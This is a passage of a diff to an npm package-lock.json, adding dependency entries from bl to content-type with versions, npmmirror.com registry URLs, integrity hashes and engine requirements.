"sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bl/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmmirror.com/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "node_modules/blurhash": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/blurhash/-/blurhash-2.0.5.tgz", + "integrity": "sha512-cRygWd7kGBQO3VEhPiTgq4Wc43ctsM+o46urrmPOiuAe+07fzlSB9OJVdpgDL0jPqXUVQ9ht7aq7kxOeJHRK+w==" + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmmirror.com/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/bonjour-service": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/bonjour-service/-/bonjour-service-1.3.0.tgz", + "integrity": "sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true + }, + "node_modules/bootstrap": { + "version": "5.3.3", + "resolved": "https://registry.npmmirror.com/bootstrap/-/bootstrap-5.3.3.tgz", + "integrity": "sha512-8HLCdWgyoMguSO9o+aH+iuZ+aht+mzW0u3HIMzVu7Srrpv7EBBxTnrFlSCskwdY1+EOFQSm7uMJhNQHkdPcmjg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/twbs" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/bootstrap" + } + ], + "peerDependencies": { + "@popperjs/core": "^2.11.8" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-or-node": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/browser-or-node/-/browser-or-node-1.3.0.tgz", + "integrity": "sha512-0F2z/VSnLbmEeBcUrSuDH5l0HxTXdQQzLjkmBR4cYfvg1zJrKSlmIZFqyFR8oX0NrwPhy3c3HQ6i3OxMbew4Tg==" + }, + "node_modules/browserslist": { + "version": "4.24.2", + "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.24.2.tgz", + "integrity": "sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001669", + "electron-to-chromium": "^1.5.41", + "node-releases": "^2.0.18", + "update-browserslist-db": "^1.1.1" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camel-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001685", + "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001685.tgz", + "integrity": "sha512-e/kJN1EMyHQzgcMEEgoo+YTCO1NGCmIYHk5Qk8jT6AazWemS5QFKJ5ShCJlH3GZrNIdZofcNCEwZqbMjjKzmnA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz", + "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==", + "dev": true, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/ci-info/-/ci-info-1.6.0.tgz", + "integrity": "sha512-vsGdkwSCDpWmP80ncATX7iea5DWQemg1UgCW5J8tqjU3lYw4FBYuj89J0CTVomA7BEfvSZd84GmHko+MxFQU2A==", + "dev": true + }, + "node_modules/ckeditor5": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/ckeditor5/-/ckeditor5-43.3.1.tgz", + "integrity": "sha512-ZZ6nIdlr9rCCp21o9d5/mVUeVPwpQKEVxkeq1MU/Jax1w8U6rnMiQWxB954Ky/HNjhZ1v1ll2+VRzb7XA+1emA==", + "dependencies": { + "@ckeditor/ckeditor5-adapter-ckfinder": "43.3.1", + "@ckeditor/ckeditor5-alignment": "43.3.1", + "@ckeditor/ckeditor5-autoformat": "43.3.1", + "@ckeditor/ckeditor5-autosave": "43.3.1", + "@ckeditor/ckeditor5-basic-styles": "43.3.1", + "@ckeditor/ckeditor5-block-quote": "43.3.1", + "@ckeditor/ckeditor5-ckbox": "43.3.1", + "@ckeditor/ckeditor5-ckfinder": "43.3.1", + "@ckeditor/ckeditor5-clipboard": "43.3.1", + "@ckeditor/ckeditor5-cloud-services": "43.3.1", + "@ckeditor/ckeditor5-code-block": "43.3.1", + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-easy-image": "43.3.1", + "@ckeditor/ckeditor5-editor-balloon": "43.3.1", + "@ckeditor/ckeditor5-editor-classic": "43.3.1", + "@ckeditor/ckeditor5-editor-decoupled": "43.3.1", + "@ckeditor/ckeditor5-editor-inline": "43.3.1", + "@ckeditor/ckeditor5-editor-multi-root": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-essentials": "43.3.1", + "@ckeditor/ckeditor5-find-and-replace": "43.3.1", + "@ckeditor/ckeditor5-font": "43.3.1", + "@ckeditor/ckeditor5-heading": "43.3.1", + "@ckeditor/ckeditor5-highlight": "43.3.1", + "@ckeditor/ckeditor5-horizontal-line": "43.3.1", + "@ckeditor/ckeditor5-html-embed": "43.3.1", + "@ckeditor/ckeditor5-html-support": "43.3.1", + "@ckeditor/ckeditor5-image": "43.3.1", + "@ckeditor/ckeditor5-indent": "43.3.1", + "@ckeditor/ckeditor5-language": "43.3.1", + "@ckeditor/ckeditor5-link": "43.3.1", + "@ckeditor/ckeditor5-list": "43.3.1", + "@ckeditor/ckeditor5-markdown-gfm": "43.3.1", + "@ckeditor/ckeditor5-media-embed": "43.3.1", + "@ckeditor/ckeditor5-mention": "43.3.1", + "@ckeditor/ckeditor5-minimap": "43.3.1", + "@ckeditor/ckeditor5-page-break": "43.3.1", + "@ckeditor/ckeditor5-paragraph": "43.3.1", + "@ckeditor/ckeditor5-paste-from-office": "43.3.1", + "@ckeditor/ckeditor5-remove-format": "43.3.1", + "@ckeditor/ckeditor5-restricted-editing": "43.3.1", + "@ckeditor/ckeditor5-select-all": "43.3.1", + "@ckeditor/ckeditor5-show-blocks": "43.3.1", + "@ckeditor/ckeditor5-source-editing": "43.3.1", + "@ckeditor/ckeditor5-special-characters": "43.3.1", + "@ckeditor/ckeditor5-style": "43.3.1", + "@ckeditor/ckeditor5-table": "43.3.1", + "@ckeditor/ckeditor5-theme-lark": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-undo": "43.3.1", + "@ckeditor/ckeditor5-upload": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "@ckeditor/ckeditor5-watchdog": "43.3.1", + "@ckeditor/ckeditor5-widget": "43.3.1", + "@ckeditor/ckeditor5-word-count": "43.3.1" + } + }, + "node_modules/clean-css": { + "version": "5.3.3", + "resolved": "https://registry.npmmirror.com/clean-css/-/clean-css-5.3.3.tgz", + "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-highlight": { + "version": "2.1.11", + "resolved": "https://registry.npmmirror.com/cli-highlight/-/cli-highlight-2.1.11.tgz", + "integrity": "sha512-9KDcoEVwyUXrjcJNvHD0NFc/hiwe/WPVYIleQh2O1N2Zro5gWJZ/K+3DGn8w8P/F6FxOgzyC5bxDyHIgCSPhGg==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "highlight.js": "^10.7.1", + "mz": "^2.4.0", + "parse5": "^5.1.1", + "parse5-htmlparser2-tree-adapter": "^6.0.0", + "yargs": "^16.0.0" + }, + "bin": { + "highlight": "bin/highlight" + }, + "engines": { + "node": ">=8.0.0", + "npm": ">=5.0.0" + } + }, + "node_modules/cli-highlight/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmmirror.com/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/clipboardy": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/clipboardy/-/clipboardy-2.3.0.tgz", + "integrity": "sha512-mKhiIL2DrQIsuXMgBgnfEHOZOryC7kY7YO//TN6c63wlEm3NG5tz+YgY5rVi29KCmq/QQjKYvM7a19+MDOTHOQ==", + "dev": true, + "dependencies": { + "arch": "^2.1.1", + "execa": "^1.0.0", + "is-wsl": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/color-parse": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/color-parse/-/color-parse-1.4.2.tgz", + "integrity": "sha512-RI7s49/8yqDj3fECFZjUI1Yi0z/Gq1py43oNJivAIIDSyJiOZLfYCRQEgn8HEVAj++PcRe8AnL2XF0fRJ3BTnA==", + "dependencies": { + "color-name": "^1.0.0" + } + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmmirror.com/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "dev": true + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmmirror.com/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmmirror.com/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dev": true, + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.5", + "resolved": "https://registry.npmmirror.com/compression/-/compression-1.7.5.tgz", + "integrity": "sha512-bQJ0YRck5ak3LgtnpKkiabX5pNF7tMUh1BSy2ZBOTh0Dim0BUu6aPPwByIns6/A5Prh8PufSPerMDUklpzes2Q==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "compressible": "~2.0.18", + "debug": "2.6.9", + "negotiator": "~0.6.4", + "on-headers": "~1.0.2", + "safe-buffer": "5.2.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/compression/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/consolidate": { + "version": "0.15.1", + "resolved": "https://registry.npmmirror.com/consolidate/-/consolidate-0.15.1.tgz", + "integrity": "sha512-DW46nrsMJgy9kqAbPt5rKaCr7uFtpo4mSUvLHIUbJEjm0vo+aY5QLwBUq3FK4tRnJr/X0Psc0C4jf/h+HtXSMw==", + "deprecated": "Please upgrade to consolidate v1.0.0+ as it has been modernized with several long-awaited fixes implemented. Maintenance is supported by Forward Email at https://forwardemail.net ; follow/watch https://github.com/ladjs/consolidate for updates and release changelog", + "dev": true, + "dependencies": { + "bluebird": "^3.1.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmmirror.com/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dev": true, + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-disposition/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/content-type/-/content-type-1.0.5.tgz", + "integrity": 